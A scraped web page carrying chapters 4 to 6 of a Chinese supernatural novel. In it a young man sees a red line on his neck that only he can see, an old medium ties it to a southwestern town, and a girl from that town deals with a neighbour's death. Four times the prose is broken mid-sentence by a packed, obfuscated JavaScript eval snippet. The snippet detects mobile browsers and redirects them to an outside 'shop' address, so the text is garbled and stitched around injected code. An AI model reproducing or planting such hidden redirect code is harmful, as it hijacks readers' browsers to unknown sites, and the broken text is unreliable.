RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526733|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去卫生间洗漱。 洗手台上是一面大镜子。易无钦却不敢抬头照一照,他很害怕又看见金海军。 可这一晚饱满的睡眠又给了他一些勇气,总不可能以后见着镜子或者反光的玻璃都要躲着走吧。 大不了,他也学青蛙叫声好了。 再者,这家里有保家仙。 怕啥! 易无钦刷完了牙齿,给自己做好心理建设,抬起了头,与镜子中的自己四目相对。 什么异常都没有。 他与自己对视了好久,仍然没有任何情况发生。 易无钦长舒一口气,又开始自我安慰。 昨天在玻璃门上看到的人脸说不定就是自己前晚做了噩梦没睡好产生的幻觉。这两天真的是自己吓自己。 他将自己脱个精光,痛痛快快洗了个舒舒服服的热水澡。 洗完又照了下镜子,仍然没有异常的情况发生。易无钦开心极了,对着镜子欣赏起自己的脸。 一张他觉得很帅但又要保持低调不自知的脸。 上学时,好几个小姑娘给他写情书,大胆一点的还在放学路上等他。但遗憾的是,还没等发展出爱情的火花就快速熄灭了。 因为他有一个强势的姥姥。 不准他谈恋爱,连接近他的陌生人都要被姥姥审视再审视。 他没啥亲人,也没几个朋友,总感觉孤孤单单的。而这份孤单又让他显得十分忧郁,在一些女生看来,这是一种需要救赎的感觉。 张鹏形容他,明明是185身长腿长的帅哥,偏偏感觉弱弱的不撑事。 易无钦准备穿衣服,在整理上衣领口的时候却发现脖子有些异样。 他对着镜子仔细看了看,发现脖子正中有一道红色的印子,鱼线一样细,像纹身般刻在皮肤纹理里。摸起来并没有任何异样。 他觉得很奇怪,使劲搓了搓,皮肤都泛红了,但红线丝毫不变。 这是啥呢?易无钦努力回忆,却始终想不出来。他拿来手机将红线拍下来。 穿好衣服来到客厅,一看时间已经接近中午了。易无钦从冰箱里拿出昨晚剩下的饭菜去厨房热。 正吃着,张鹏打来了电话。 “昨晚睡得还好吧。” “挺好的,虽然你打鼾确实比较吵。”易无钦嘻嘻笑道。 张鹏哈哈大笑,“没事,我就问问你,下午你自己玩吧。我可能要加班。” “哦,好。”易无钦忽然想起脖子上的红线,“我发现脖子上有一道红线,不知是啥,我拍了照,你帮我看看呗。” “红线?”张鹏说,“行,你发我吧。” 易无钦用微信把照片发过去。 等到他吃完饭洗了碗,才收到了张鹏的回复。 “哪有红线,我放大了都没看到。叫同事们来看,也没看到。” 易无钦一愣,他点开发给张鹏的照片,放大了看,确实如张鹏所说,根本没有红线。 难道自己又看错了? 他跑到卫生间,对着镜子看,脖子处,泛白的皮肤上,一道鱼线般大小的红线赫然可见。 易无钦心里又开始慌乱,他跑到房间里,对着穿衣镜看,那道红线仍然在。 他拿起手机拍了下来。可是,跟方才一样,手机里并没有这道红线。 易无钦跌坐在床上,脑子乱纷纷的。 咋回事啊,怎么没完没了的。 电话在这时响起,吓了他一跳。 来电显示:殷姥姥。 这是姥姥的好朋友,也是看着他长大的。 易无钦赶紧接电话,“姥姥。” “你没在家?” “我在朋友家。” 电话里的殷姥姥顿了顿,“那你回来吧,我在你家楼下。” 4. 死者 殷老太每周都要给易无钦打个电话,这是老朋友临走时交代给她的任务。 这次她在家里掐指一算,虽没算出个啥,但眼皮跳跳的感觉不太平。 别是老朋友一走俩月就出事了。 她到了易无钦家楼下时,正好看见居委会何大妈领着几个警察往里走。她心中一沉,知道肯定发生了不好的事。 何大妈看见她热情地打招呼,“老姨来看小孩啊?” 殷老太朝她点点头,跟着他们一起进了家属楼。 这片厂区的家属楼都是老小区。易无钦这栋的一楼原本是收发室,后来被社区居委会拿来当了办公室。 殷老太见他们并没有去单独的小办公室说话,知道他们说事并不打算避人。自己正好也可以听听,于是不声不响跟在后面进了居委会办公室,自顾自找了个凳子坐着。 何大妈知道她是熟人,给她倒了杯热水,也不管她,招呼着两位警察。 “尸检报告出来了,22日发现的死者死因是心脏病发作,已经排除了刑事案件。”警察拿着一份报告递给何大妈,“具体的解释工作还要麻烦您帮忙配合。” “配合配合,我都配合。我懂,维护社区和谐,绝不让他们瞎造谣。”何大妈接过报告仔仔细细看着。 “哎呀这么年轻,才26岁,好可惜。”她啧啧感叹。 警察继续说,“他不是咱们这里的人,我们也联系了他的家人,说是有一个朋友在这里?” 何大妈点点头,“对对,有个女孩,南方人。说是来东北旅游的,来这里找过他几次。我让老孙头给她打了电话,她正赶来呢。” 殷老太听到“南方人”三个字,眼皮又是一跳。 正在这时,门被拉开,一个女孩走了进来。 “您好,我是郑咏絮,你们给我打电话……” 何大妈一听赶紧上前,“哎哟,您来了,快来快来,警察同志正在说情况呢。” 殷老太抬起眼皮去看,这个女孩虽然裹着厚厚的羽绒服,但仍能看出身形娇小。她戴着口罩,看不见脸,只露出一双圆圆的杏眼,黑黑的瞳仁大而亮,溜溜地看着面前的警察。 就这一双眼睛,殷老太就断定了这个女孩不简单。 她不动声色,捧起面前何大妈给她倒的热水缓缓喝着,竖起耳朵去听他们的谈话。 “金海军是我同乡,渝州宾化归望镇的人,我们认识但不熟。”郑咏絮对着警察说,“他家里父母都死了,只有一个妹妹。我这几天来东北玩,他妹妹给我打电话说大半个月没联系上哥哥了,叫我帮忙来看看。我就来找他,来了两三次,一次也没见着人。” 一旁何大妈点点头,“对对,这姑娘确实来过两三次,还给老孙头留了电话。” 说话间,又有人进来了。 “嘿,老孙头,刚说到你呐,你就来了。”何大妈赶紧招呼。 老孙头耷拉着脸,一脸沮丧,“我真是倒了霉了。” 何大妈将手中的报告递给他,“你看,警察同志说了,是心脏病去世的,不是他杀。” 老孙头仍然不高兴,“那也是死在我屋里啊。我真倒霉了,遇上这事儿。” 他转头看见殷老太在喝水,连忙走到她旁边,伸出手轻轻拍打了一下自己的脸,“他姨姥,我就该听刘大姐的话。不该把房子租给陌生人。这下好了,我那房子不干净了。” 殷老太笑了一下,没说话。 老孙头继续拉着她,“他姨姥,我殷姐姐,您是看事儿的,帮我做个法事呗。” 何大妈一听连忙大声训斥,“你说啥呢,啥看事儿法事的,警察同志在这里,别搞封建迷信那一套。” 老孙头不说话,耷拉着脸。 警察对着他说,“孙先生,具体情况我们都已经了解,这位郑咏絮女士,是死者金海军也就是您的租户,是他的同乡。有些情况咱们需要当面交接。” 老孙头说,“他就租了两个月,东西就那么点,你们也都清理过了。姑娘,您行行好,给带回去吧。” 郑咏絮眨眨眼,“我已经跟他妹妹联系,她已经在来辽宁的路上了,东西还是让她来收吧。她才十五岁,还没成年呢。到时候还得麻烦警察同志和大爷大妈了。” 何大妈说,“好说好说。哎,真可怜。” 老孙头继续说,“我觉着吧,你这同乡真古怪。租了我的房子这两个月都不怎么出门,这楼里的人没咋见过他。” “更古怪的是……”老孙头压低了声音,故作神秘,却又十分愤懑,“他那天叫我第二天一早上门去收租金,说什么必须要早点去,晚了他就出门了。我六点多天不亮就去了,结果倒好,进门看见他直挺挺躺在地上,已经没气儿了。是头天晚上就没了吧?他是不是掐着点呢,算准了时间我一去就发现尸体?” 郑咏絮一拍手掌,“哎呀,那头天晚上我又来找过他呢,敲半天门不开。”她叹了口气,眼神里有不忍和遗憾,“要是那会儿我强行破门进去,说不定还能救救他。” 老孙头满不在乎挥挥手,“您救了也没用。上次警察来就说了,他的心脏病很严重,估计也就这段时间。这人真祸害人,都这样了,不在自己老家等死,偏偏大老远跑到东北来死。” 何大妈听他越说越不像话,重重拍了他几下,“瞎说啥呢,那是人命。” “等他妹妹来了,麻烦您第一时间联系我们。”警察对郑咏絮说。 郑咏絮点点头,“好的。” 警察继续说,“因为他妹妹是未成年人,又没有其它亲戚,可能很多事情还要麻烦您。您能在这里多待一段时间吗?” 郑咏絮面露难色,“我已经出来好几天了,没这档子事我已经回家了。如果再待时间长了恐怕不行。” 她拉下口罩,露出一张精致小巧的脸。“我是第一次来东北,结果遇上水土不服,你们看我脸上都起了疹子,身上更多,痒得很,非常难受,晚上也睡不好。” 她顿了顿,继续说,“不过遇到这种特殊情况,我可以陪他妹妹多待几天,但时间长了就不行。” 警察:“好的,谢谢您配合。我们也跟宾化区的公安局联系了,会尽快交接过去。” 何大妈等他们说清楚后,才去拉着郑咏絮的手,“哎呀,姑娘,你这白净的脸怎么长了这么多疹子。擦药没?看医生没?” 郑咏絮点点头,“看过了。我这老毛病了,从小就这样,去外面容易水土不服。我都不咋出门,这次好不容易做好准备出来玩,结果还是过敏了。” 老孙头瞥了她一眼,嘴里咕哝:“都是怪人,你们那儿都是怪人。” 何大妈又重重打了他几下,“嘴闭上,净瞎说。” 她亲切地拉着郑咏絮的手,“姑娘,别理他。你是归望镇的人,那咱可太有缘了。咱们这儿是五六-四厂的老家属院儿。五六-四厂您知道吧?” 郑咏絮懵懂地点点头,“啊,知道,我们镇上也有个五六-四厂。” 何大妈一拍手,“那就对喽。你们那儿的五六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526734|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' -四厂就是咱们这儿过去的。当年国家三线建设,六几年那会儿,我们去了好多人到归望镇建设。” 郑咏絮好奇兴奋地说,“对对,我们那儿的五六-四厂是三线建设过来的,我小时候去厂里玩,好多说普通话的——哦哦,应该是东北话。原来就是这里呀,那可真是太巧了。” 殷老太听到这里忍不住看了她一眼,这真的是巧合? 两位警察眼见事情交代完了,就告辞离开。何大妈仍然拉着郑咏絮说着五六-四厂的事情。 老孙头懒得听,来到殷老太身边,低声道:“姐,给咱做个法事呗。” 殷老太淡淡说:“我看事儿不做法事,你要做法事找别人。” 老孙头急了:“那你也帮忙介绍个人呗,谁不知您的本事大得很,介绍的人也肯定很靠谱。” 殷老太:“您要是信任我,就不会不听我和老刘当初的话了。老刘当初怎么给你说的,不要让陌生人尤其是外地人来这片儿。她人一走,你就迫不及待租房子出去,都是你自找的。” “那我不寻思挣点钱嘛,这年头谁跟钱过不去。” 何大妈一心二用,一边和郑咏絮唠叨五六-四厂的事,一边听他们的对话,听到这里就不高兴了,转头来批评老孙头,“老孙,这就是你不对了。你的退休金本来就不低,儿子又孝顺。你愁钱用?咱们这里住的都是熟人,没谁像你这样钻钱眼子里。临近年关出这事儿,街坊邻居的对你那可不得有意见。” “哎,知道了知道了。我找人做场法事,再给他烧点纸钱好好送走,可以吧?”老孙头被念叨得不耐烦,摆摆手自行离开了。 “这老孙头,最不爱配合咱们居委会的事儿,真烦人。”何大妈不高兴地抱怨两句,一转头又满脸笑颜对着郑咏絮,“姑娘,您住哪儿,离这儿远吗?” 郑咏絮说:“不远,我坐公交车三个站就到了。”她看看时间,站起来告辞,“我得去机场接金海军的妹妹,我就先走了。” 何大妈点点头,语气里有不舍,“哎,你慢着点,咱们保持联系。” 郑咏絮礼貌地向何大妈和殷老太告别,戴好口罩和帽子手套,裹紧羽绒服离开了。 “哎,居然是归望镇的,你说巧不巧。”何大妈絮叨。 殷老太淡淡地笑,“五六-四厂早就从归望镇搬走去了益州灵泉,这小姑娘年纪轻轻,知道归望镇有个五六-四厂,但未必知道当年的人和事。不过她刚才跟你聊天,对五六-四厂知道得不少嘛。” 何大妈感慨道:“您说得也是。” * 郑咏絮从居委会出来后故意放慢了脚步,在雪地里磨磨蹭蹭好一会儿,才到了大门口,正好遇见回来的易无钦,可算没白等。 她主动上前打招呼,“你好呀。” 易无钦认出她是那晚去找金海军的女生,意外极了,下意识回复:“您,您好。” “我叫郑咏絮,就是漫天飞雪的那个咏絮。”她笑起来眼尾上扬,眼神清澈见底。 “哦,哦,我叫易无钦。”他顿了顿,跟着解释,“易是容易的易,无是没有的无,钦是左边金字旁右边一个欠。” 他愣愣地看着她,忽然想起那晚的事,慌忙说,“那晚你要找的是金海军吧?他……” “他死了,我知道。”郑咏絮立马接过话头,“我就是为这事儿来的。” “啊?他?” 郑咏絮却朝他挥挥手,往马路上走,“不说了,我得赶去接他妹妹,咱们下次聊。” 5. 羁绊 易无钦下意识跟随她的身影看去,直到她上了出租车消失不见才懵然回头朝楼里走。 一转身看见一楼门口,殷老太站在那里默默地看着他。 “这姑娘,好看吧?” 易无钦回想起方才的情形,其实他并没有看见郑咏絮的样貌,因为那张脸上戴了个大大的口罩。他只记得那双眼睛圆圆的很灵动,笑起来是一弯浅月,秀气又清纯。 但这显然不适合跟面前的殷老太聊。 他的脸被冻得微红,没有回答。 殷老太笑着看他,“这姑娘跟你有缘。” “啊?” “她就是为你而来的。” * 回到家后,易无钦将这两天遇到的事儿原原本本跟殷老太说了。 “姨姥,你说我这是自己吓自己呢,还是真遇上事儿了?”易无钦始终心有余悸。 殷老太听罢,好半天都没说话,只看着墙上易无钦姥姥的遗像发呆。 过了好一会儿,她才缓缓叹口气,“真遇上事儿了。” 她站起来,到遗像前,上了柱香。 “老刘,事儿来了。” 易无钦跟着站起来,看着殷老太,又看看遗像。姥姥仍然是一如既往地静静看着他,不知怎的,易无钦突然觉得眼眶发红,两行泪忍不住就流了下来。 “孩子,你坐下来。我慢慢跟你说,这些事儿也到了该跟你说的时候了。”殷老太擦擦眼角,招呼他坐下。 易无钦擦掉眼泪,努力平复了情绪,乖乖坐了下来。 “今天那个姑娘,隔壁去世的那个金海军,都是归望镇的人。”殷老太缓缓开口,“归望镇,你对这个地方还有印象吧。” 有,当然有,印象太深了。他的父母都是在归望镇没的。 易无钦低垂下头。他的爷爷奶奶属于最早支援三线建设的那一批,他的爸爸在婚后不久就去了归望镇的五六-四厂。他是三岁时被妈妈从东北带去了归望镇和爸爸团聚,在那里上幼儿园,上小学。 一年级的某天,爸爸没回来,他听大人们说是在山里失踪了。找了好久也没找到。 妈妈天天以泪洗面,一个月后也在山里失踪了。 他成了孤儿。 唯一的亲人姥姥从东北赶来将他接走。从此以后,他就在东北跟姥姥相依为命,哪里也不去了。再也没回过归望镇,甚至连大西南地区的人都没见过。 “归望镇那个地方有东西,邪性。”殷老太说完,停顿了好一会,看着易无钦。 易无钦嘴唇发白,“什么东西?” 殷老太摇摇头,“不知道,我问了仙家也说不上来。” “跟我爸妈的失踪有关吗?”他紧紧追问。 殷老太仍然摇头,“不知道,但我和你姥姥都觉得有关。当年我问过仙家,说你爸爸已经死了,但你妈妈,”她又停下来,想着怎么措辞形容,“很奇怪,非生非死。” 易无钦又开始落泪,当年父母虽然说的是失踪,生不见人死不见尸,但他内心深处早就不抱什么希望。 只是每次听到父母的消息,他还是会忍不住哭。 “我爸爸,一直没找到尸体。我妈妈,什么叫非生非死?”他哽咽地问。 殷老太叹气,“东北的仙家不出山海关,本来就难以看到大西南的事。也是因为你爸妈是东北人,才看得了。至于你妈妈,只能你去归望镇了解了。” “去归望镇?”易无钦疑惑不已。 殷老太点点头,“你是肯定要回归望镇去解决这些事儿的。”她看着易无钦,一字一顿道:“那东西,其实一直跟着你。” * 郑咏絮在机场出站口等了半个小时,终于看到两个熟悉的身影出来了。 一个是金海军的妹妹,金小萍。她人小小的,裹在厚厚的羽绒服里,看上去更可怜了。 另一个,郑咏絮还没看清脸就先从身形判断出来了。她撇了撇嘴,忍不住冒出一丝冷笑,但很快又掩饰下去,作出高兴的样子。 “姐,你怎么来了?”郑咏絮主动跑过去,满脸的笑意。 郑燕看着她,心知肚明她这笑容的伪装,冷冷道:“你笑啥子?别个小萍妹妹这几天都是哭过来的,你还在这里嬉皮笑脸。” 郑咏絮内心骂了一句,面上收起了笑容,转而关心对着金小萍,“妹妹,对不起。你节哀顺变。” 一句话又勾出了金小萍的悲恸,她眼圈一红,眼泪止不住往下掉。 “哎,别哭别哭。这里是东北,冰天雪地的,脸会皴。”郑咏絮连忙说。 郑燕淡淡地拿出一包纸巾递给她,“先上车吧。” 郑咏絮转身去叫了一辆出租车,帮忙她俩把行李放进后备厢。 “姐,这个时间点了,我带你们先回酒店休息,明天再去派出所?”郑咏絮在车上问。 郑燕看了下金小萍,摇头,“先去派出所吧,把事情早点处理完早点回家。” “行,你说了算。”郑咏絮朝司机报了地名。 “姐,万堂公公怎么让你陪小萍来了?不是他们金家的人吗?”郑咏絮坐在前排问道。 “是爸喊我来的,他担心你的身体吃不消。”郑燕淡淡地回答。 “哦,”郑咏絮拉下口罩,转头朝着她们,“姐,你看,我这次长了好多疹子。不光脸上有,身上更多。好难受,晚上觉都睡不着。” 郑燕凑上前仔仔细细看她脸上的疹子,“你这看起来像过敏性皮炎。你本来就是过敏体质,很正常。吃药了吗?” “吃了,但还是很痒不舒服。”郑咏絮说。 郑燕继续问,“只是起疹子,没有其它症状吧?” “暂时还没有,但我不知道是不是衣服穿得多。我老觉得呼吸不通畅。” 郑燕吓了一跳,“你可别是喉头水肿吧。咱们先别去派出所了,去医院吧。” “别别,”郑咏絮对司机说,“还是先去派出所。” “就一点点不通畅,等抓紧事情处理完了,回到归望就好了。” * 易无钦猛烈咳嗽起来,突然感觉有些窒息。 他大口大口喘着气,将领子拉下来,露出脖子。 “姨姥,您看看这儿,看不看得到一条红线?”他指着红线的地方对着殷老太说。 殷老太仔仔细细看了很久,摇摇头,“看不到。” 易无钦叹了口气,“你也看不到,我拍照给我朋友,他也看不到。只有我能看到。” “这根红线,是不是就跟归望镇那个东西有关?” 殷老太说,“那肯定有。这东西不会莫名其妙出现。” “姨姥,那东西到底是什么?” 殷老太如实回答,“不知道,估计是西南那边的精怪吧,西南那边多山多水,滋养出啥不好说。” “您那仙家也不知道?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526735|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷老太顿了顿,“看不出来。仙家想看清的时候起了云雾遮着,云里雾里的,摸不着头脑。” “这东西为啥跟上我?” “我说跟,只是一种形容,这东西并不在你身边,也不在东北。只是你们之间有某种关联,隔着万重山水都斩不断。”殷老太叹了口气,“这些年你姥姥本来想查一查那东西到底是啥。你小时候刚从西南回东北,生了几场大病还记得吗?” 易无钦晃晃脑袋,记忆模糊。他小时候身体不好,经常生病,对于殷老太说的,他没有什么大病小病的概念,反正都是生病。 殷老太没有强迫要他一定想起,“那几场大病就是因为你被那东西缠上了。但每次一查,反而病情更重。所以说,这种事情不好说,不查可能还好点,一查就会加深你和它之间的羁绊。所以我和你姥姥就没管它,只专心把你照顾好。” 易无钦回想了一下这些年的情况,“所以姥姥十分排外,甚至不喜欢让陌生人接触我,就是怕加深羁绊?” 殷老太点点头,“你姥姥护你护得紧呐。但是那东西与你有了关联,也是没有办法的事,算是佛家说的因果吧。我问过仙家了,你必须要回到归望镇解决,是生是死不好说,但一直躲在东北,肯定是死。” 她看着遗像,“你这孩子从小没了爹妈,很可怜。你姥姥对你要求比较严,管得多,你呢,也孝顺,但我也看得出来你心里有叛逆,那都是小情绪。其实你姥姥为你做了很多事。” “你姥姥一向身强体健,比我还小两岁,却走在我前头。你知道为啥吗?” 易无钦默默看着遗像,心里隐隐约约有了答案。 “你姥姥说,她要护着你长大成人,要你在有能力面对的时候再回去解决。她用自己的命给你续命,原本只能续十年,可她意志太坚强,又生生拖了五六年。现在你是个大人,可以抗事了。” 易无钦再也忍不住,放声大哭。他与姥姥相依为命这么多年,没有其它亲戚,朋友也很少。姥姥性格古怪,对谁都很防备,又十分迷信,总是神叨叨的。 他爱姥姥,但叛逆劲儿一上来了,总烦她管东管西,有时候说话又遮遮掩掩,啥都不跟他说。 他在脑海中仔细回想着生活的点点滴滴。 姥姥牵着小小的他去上学,敦促他要好好学习,学很多知识。甚至为了辅导功课,姥姥自己跟着学,戴着老花眼镜学拼音,背九九乘法表。 姥姥给他买玩具,却不让他买外面的零食。知道他馋,自己去问了饭店的厨师买了材料在家里研究薯片和辣条怎么做。 姥姥重病时,躺在床上糊涂了,念叨他,念叨他的妈妈。直到闭眼落气时,还在念。 他知道姥姥爱他,但仍然低估了姥姥的爱。 回想起来,他庆幸自己还算听话,很少顶撞姥姥让她伤心。更庆幸在姥姥病重时辞去了好不容易找到的工作,好好陪伴老人走完最后一程。 但仍遗憾于生活中的那些小叛逆,以及姥姥未了的心愿。他的妈妈,也就是姥姥的女儿,非生非死。还有他,来自大西南的羁绊。 殷老太说:“你虽然七岁就没了爸妈,但你的姥姥一人,好过这世上很多父母。” “你就是个普通人,要去解决一个仙家都看不清楚的东西,肯定会吃很多苦头,遇到很多困难。但你一定要记住,你姥姥在天上保佑你,你不要怕。逢山开路,遇水搭桥。总有办法的。” 6. 过敏 从派出所出来时,天已经黑透了。 郑咏絮原本想带郑燕和金小萍吃点特色的东北菜,但看见金小萍低落的情绪,知道她也没啥胃口,于是带她们在附近饭店吃了顿饺子。 回到酒店后,郑燕说要照顾金小萍,怕她情绪不好,让郑咏絮换了个三人间。 “小萍,这几天你吃不下东西,也没休息好。事情已经这样了,你也别太伤心,要注意自己的身体。你哥哥年纪轻轻就得了心脏病,要从家族基因和遗传的角度来说,你也有概率得病。所以你更要保重自己,你还那么小。”郑燕耐心地劝说金小萍。 金小萍顶着一双红肿的眼睛,声如蚊呐,“燕燕姐,我晓得。谢谢你和咏絮姐姐陪我来接哥哥。” 郑燕拍拍她的手,“都是一个镇上的姐妹,不说谢不谢的。你就安安心心把自己照顾好,专心读书。生活上的事情都有万堂公公。” 金小萍低垂着头,“爸妈不在了,哥哥也不在了,我一个人好孤单,我成孤儿了。” 一旁蹲在地上收拾东西的郑咏絮闻言抬起头,“你不是还有万堂公公吗?他那么疼爱你,又有那么多财产。他儿子死了,女儿又不来往了。你好好孝敬他,以后那些钱都是你的。” 金小萍一听这话又哭了起来,“我不要钱,我要哥哥。” 郑燕走过来使劲朝郑咏絮的背拍了一下,“不会安慰人就少说几句。” 她还想教训下这个妹妹,可是手机来了电话。 “喂,爸爸,”郑燕接起电话,“今天下午去了派出所,都交接好了。户口本、身份证、万堂公公的授权书、社区的材料都交给警察了。” “嗯,嗯” “海军的遗体是回老家火化。明天上午我们去办手续,派出所帮我们联系好了的。” “我晓得,万堂公公给我说了的,运回来的钱他出。我肯定找这里最好的运输机构来运。” “好的,小萍妹妹跟我们住一个房间,我们会照顾好她。” 电话挂了,郑燕走到自己行李箱前整理行李,头也不抬,“你伯父叫你给他打个电话。” 郑咏絮知道她这话是对自己说的,当即把拖鞋换成自己的鞋子,拿着手机朝房间外走去。 门锁的机械声响起,门关好后,郑燕才抬起头,望着门口没有说话。爸爸总是那么偏袒妹妹,明明自己才是亲生女儿,但在他心中,感觉郑咏絮更重要。 连打个电话都要避开人。有什么不能让自己听吗? 她沉默着收回自己的眼神,考虑到金小萍还在房间里,只好躲到洗手间去洗漱。 * 郑咏絮在酒店里挑了个没人的地方,“喂,伯父。” “我现在还好,但是身体也有点吃不消了,想赶紧回去。” “暂时没得大碍。” “事情是办成功了。那晚还好我去得及时,不然效果没那么好。” “到时候给海军哥哥多烧点纸钱。” “我已经见过他人了。明天小萍的事情办完了我再去找他一次。” “好,拜拜。” 电话挂掉后,郑咏絮没有立即回房间。 她站的位置是一扇落地窗前,勉勉强强可以看见窗外。 东北真有意思。她来的这几天就赶上了一场大雪,纷纷扬扬的,铺天盖地都是白色。 她明明叫郑咏絮,是用了谢道韫那句“未若柳絮因风起”,跟雪有关的名字。但归望镇这个地方几乎不下雪。她到了东北才真真正正看见了漫天大雪。 外面的天地真是广阔啊,郑咏絮贪恋地看着窗外的风景。 可惜她不能在外待久了。 不记得从什么时候开始,只要一出归望镇,她就浑身不舒服。医生说她身体格外脆弱,水土不服外加过敏体质。更要命的是,她的过敏原还一直在变。有时是某种食物,有时是某种植物散发的信息素,有时甚至是塑胶草坪,奇奇怪怪的。 去一去宾化区和渝州城还好,出了大渝州就犯病。 小时候,五六-四厂搬去了益州灵泉,她那厂里的干妈也去了灵泉。干妈有次好心带她去益州玩,结果刚下车她就脸色青紫白眼一翻晕了过去,还是送到医院抢救回来的。 还有一次一家人开车去隔壁黔州玩。一到播县就不行了,爸爸直接开车去医院,然后又连夜开回来,到了宾化地界才缓过来。 只有待在归望镇才没啥事。 郑咏絮做了几个深呼吸,感觉到脖子上的窒息感又加深了。 这次来东北,是她第一次出远门。出发之前她喝了好久的药,都是对抗过敏的。她甚至还在手机里弄了立即拨打“120”的设置,准备及时喊救命。 不过还好,除了起疹子以外,没有出现其它要命的症状。 这也许是因为另一个他也在这里吧。 郑咏絮唇边勾起一抹笑,想到了那个高高的男生。 长得倒是挺帅的,眉眼英气,鼻子高挺,五官立体,是在她的审美点上。 正常情况下,跟这样的帅哥在大雪纷飞里谈一场恋爱多浪漫啊。 更何况,若是他在身边就能缓解她的症状,是不是说她以后出门把他拴在身边就行。 可惜,这点暂时无法验证。而且,对于她来说,有比谈恋爱更重要的事。 正胡思乱想着,兜里手机振动,有电话来了。 郑咏絮拿出来一看,是妈妈打来的。 “喂,妈妈。” “我没事,明天结束得快的话我后天就回来了。” “你放心,姐姐会照顾我。” “你和爸爸早点休息,拜拜。” 短短的几句通话,郑咏絮却感觉有些无力。她顺着落地窗往下滑,坐在地上。 还好这层楼没啥人,服务员也不来这儿。没人干扰,她就呆坐着。 跟金小萍无父无母唯一的哥哥年纪轻轻就走了比起来,她好很多。父母健在,家庭和谐。大伯一家也非常疼爱她,除了偶尔跟堂姐郑燕争一争,人生也没啥波折。 但人不能这样比。 她长得漂亮成绩又好,能力也出众,本该读个好大学大有可为的。 可就是身上这怪毛病,把她彻彻底底限制了,限制在一个小镇上,像一个牢笼让她出不去。 她听说有些过敏体质随着年龄的增长会改善,她也期待着现代医学的发展,能在未来某天解决她的症状。 但当大伯告诉她真相时,她才真正绝望了。原来这一切不是现代科学范畴的东西。 这东西为啥不落在郑燕身上,她才是大伯的亲生女儿。 郑咏絮愤懑地想了半天,没有结果,最终收拾心绪起身决定回房间睡觉。 在她转身离开时,余光却撇到刚才落地窗的玻璃上,有一道白影。 她疑惑地回头去看,却什么也没有。 眼花了吧,可能是把窗帘或者灯影看错了。 * 易无钦躺在床上辗转难眠。 现在,他已经不怕金海军来找他了。 殷老太告诉他,这个家里对他来说反而是最安全的。 他睡不着主要是白天接受的信息太多了,颠覆了他以往的认知。 归望镇,归望镇。 他要回去。 他也该回去。 那个连殷老太和仙家都看不清的东西,把他的家庭,他的人生破坏成这个样子。是该好好算这笔账。 金海军在他隔壁潜伏了两个月,是那东西派来的吗? 还有那个郑咏絮,是不是也是它派来的? 易无钦脑海里浮现出那双圆圆的杏眼。她虽然戴着口罩,但应该是个漂亮的女孩。等去了归望镇,少不得要和她多接触。 看上去她年龄也不大,估计跟自己同龄。 那晚他被魇住,是郑咏絮来了将他解脱了。是不是应该感谢她? 不不不,张无忌他妈说过,不要相信漂亮女人的话。郑咏絮和金海军都是冲他来的,不知道在里面扮演了什么角色,是敌是友不好说。 易无钦翻了个身,在黑暗中睁着眼睛。 早知道他会跟这种事情有牵扯,当时就应该跟殷老太学学玄学的知识。也不知现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526736|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶补还来不来得及。 不过,东北的理论到了西南多半水土不服。要是有用姥姥早让他学了。 那学一点拳脚功夫吧,万一要打架呢。或者学学野外生存知识,类似盗墓类小说那样。西南那里多山,落入山中可不好出来。 脑中越想越兴奋,眼见是睡不着了。易无钦干脆打开台灯坐起来,拿出手机开始搜索相关知识。 野外生存,身体素质很重要,他决定从明天开始每天跑步,三个月练出肌肉。 当然装备也很重要,不能光靠身体扛。 易无钦一边看一边打开购物平台软件,不知不觉购物车里已经满满当当。 等要付款的时候一合并,给他吓了一大跳。 什么冲锋衣、登山杖、帐篷、睡袋、便携刀具、指南针、手电筒、急救包等等杂七杂八加在一起,竟然上万了。 他默默退出软件,关掉手机,在黑暗中无语。 也不是说买不起,虽然他没上多久的班,没啥积蓄,但姥姥生前给他留下了七十来万。他又不是大手大脚的性格,没有房贷车贷,省着点用,生活还对付得过去。 但去了归望镇,意味着很长一段时间可能没法-正式工作。因为不知道要多久才能解决事情。 明天还是给张鹏以及师兄打个电话吧,有散活尽情扔给他,给钱就行,不挑剔。最好给之前那个初创公司的老板也打个电话,都是年轻人,好说话。 